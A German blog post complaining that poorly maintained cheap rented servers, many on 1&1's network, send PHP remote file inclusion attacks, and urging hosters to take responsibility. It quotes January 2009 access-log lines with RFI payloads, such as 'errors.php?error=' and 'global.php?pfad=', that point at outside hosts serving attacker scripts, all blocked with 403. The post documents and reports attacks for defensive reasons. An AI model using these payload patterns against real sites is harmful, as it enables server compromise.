PHP remote exploits, wie z.B. der für phpraider sind offenbar ziemlich verbreitet – denn allein auf dies Blog prasseln haufenweise entsprechende HTTP Anfragen ein. Die Ursache dabei ist in meinen Augen viel weniger die Programmiersprache „PHP“, als der verantwortungslose Umgang mit „Scripten“, Webspace und dedizierten Servern.Bei einem Preise von deutlich unter 50 Euro im Monat werden – oft Linux basierte – Mietserver von vielen Hostern angeboten. Für die Kunden ist dabei oft garnicht erkennnbar, welche Verantwortung damit einhergeht. Wartung, Sicherheitsupdates? Oft werden Windows Desktop Computer besser gewartet, als diese Billigserver.

Besonders unerfahrene Anwender tendieren dazu, Adaware, TuneUpUltraRegistry, Antipetz-und-nospy, Virenscanner und am besten noch drei Firewalls zu installieren – beim Server ist da Fehlanzeige. Doch auch die Hoster tragen hier eine Mitverantwortung: Es wird dem Kunden suggeriert, dass mit dem Mietpreis „all incl.“ ist – Traffik, Strom, Hardware. Entsprechende Maßnahmen um zumindest etwas Sicherheit herzustellen („managed Server“) sind dann – aus gutem Grund – jedoch verboten teuer. Der Markt möchte billig.

Bei jedem Auto ist dem Fahrer per Gesetz eine Absicherung gegen das mit einem Kraftfahrzeug einhergehende Betriebsrisiko vorgeschrieben: Regelmäßige Kontrolle durch eine unabhängige Institution (TÜV), Haftpflichtversicherung gegen verursachte Schäden.

Was könnte helfen? Ein Tool wie „snort“ könnte von den großen Providern eingesetzt werden, um auf bestimmte Muster zu achten. Von der technischen Machbarkeit abgesehen sind dabei immense Kosten zu erwarten. Doch nicht nur das Problem der gehackten (Home-) Server, auch ein Ende der Spamflut, deren Bekämpfung nicht unerhebliche Ressourcen verschlingt wäre in Sicht.
Vielleicht denkt der eine oder andere Hoster darüber mal nach – und verdient sich einen Wettbewerbsvorteil.

Wie schlimm es tatsächlich ist, zeigt ein kurzer Blick in die Anfragen auf dies Blog, die trotz Firewall noch angekommen sind. Ich habe hier lediglich nach Anfragen im Januar 2009 aus dem /16 1&1 Netz SCHLUND-PA-5 gesucht:

87.106.102.198 - - [13/Jan/2009:18:25:06 +0100] "GET /errors.php?error=http://http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.803" 0 everflux.de
87.106.104.102 - - [19/Jan/2009:23:21:38 +0100] "GET /errors.php?error=http://webpower.jp/data/readme.txt?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.104.102 - - [25/Jan/2009:17:10:03 +0100] "GET /errors.php?error=http://ilco.org//cache/ready?? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 220 "-" "libwww-perl/5.805" 0 everflux.de
87.106.243.162 - - [11/Jan/2009:14:59:24 +0100] "GET /seo-phpbborg-bald-wieder-online-469/include/global.php?pfad=http://www.come.lv/forum/bodo.txt??? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET //contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 238 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:41 +0100] "GET /startup-erfolg-social-brand-und-media-548//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 281 "-" "libwww-perl/5.805" 0 everflux.de
87.106.245.44 - - [02/Jan/2009:22:35:53 +0100] "GET /tag/startupcamp//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt? HTTP/1.1" 403 255 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET /eclipse-jsp-syntax-validation-probleme-721//errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 256 "-" "libwww-perl/5.805" 0 everflux.de
87.106.250.102 - - [15/Jan/2009:11:05:39 +0100] "GET //errors.php?error=http://kocmo.org.ua//templates/Ilegalid.txt? HTTP/1.1" 403 212 "-" "libwww-perl/5.805" 0 everflux.de

Ich bin dabei davon ausgegangen, dass die PHP remote exploits versuchen, eine URL per „=http….“ einzuschleusen. Wer die Suche selber nachvollziehen möchte, kann z.B. folgenden Befehl verwenden:

zgrep 87.106 access.log* | grep "=http" | cut -d ":" -f 2- | grep "/2009:" |

Ich habe Eins-und-Eins über die Entdeckung informiert, und bin gespannt, wie hier reagiert wird.